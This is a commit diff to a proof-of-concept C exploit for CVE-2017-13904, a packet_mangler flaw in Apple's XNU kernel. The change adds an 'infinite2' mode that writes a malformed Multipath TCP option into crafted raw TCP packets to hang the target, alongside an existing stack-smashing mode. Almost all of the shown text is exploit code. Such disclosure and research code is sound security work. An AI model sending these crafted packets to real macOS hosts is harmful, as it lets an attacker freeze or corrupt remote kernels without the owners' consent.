Update PoC for Mojave

Author: kevinbackhouse

apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c

@@ -15,6 +15,8 @@
 #include <netinet/ip.h>
 #include <arpa/inet.h>
 
+#define TCP_OPT_MULTIPATH_TCP  30
+
 // 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
 struct pseudo_header
 {
@@ -56,6 +58,7 @@ unsigned short csum(unsigned short *ptr, int nbytes)
 
 enum Mode {
   InfiniteLoopMode,
+  InfiniteLoopMode2,
   SmashStackMode
 };
 
@@ -83,6 +86,9 @@ int main(int argc, char* argv[])
 
   if (strcmp(argv[3], "infinite") == 0) {
     mode = InfiniteLoopMode;
+  } else if (strcmp(argv[3], "infinite2") == 0) {
+    mode = InfiniteLoopMode2;
+    printf("infinite2\n");
   } else if (strcmp(argv[3], "smashstack") == 0) {
     mode = SmashStackMode;
     payloadsize = 1000;
@@ -117,9 +123,12 @@ int main(int argc, char* argv[])
   data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
   memset(data, 1, payloadsize);
 
-  if (mode != SmashStackMode) {
+  if (mode == InfiniteLoopMode) {
     data[0] = 2;
     data[1] = 0;
+  } else if (mode == InfiniteLoopMode2) {
+    data[0] = TCP_OPT_MULTIPATH_TCP;
+    data[1] = 0;
   }
 
   // some address resolution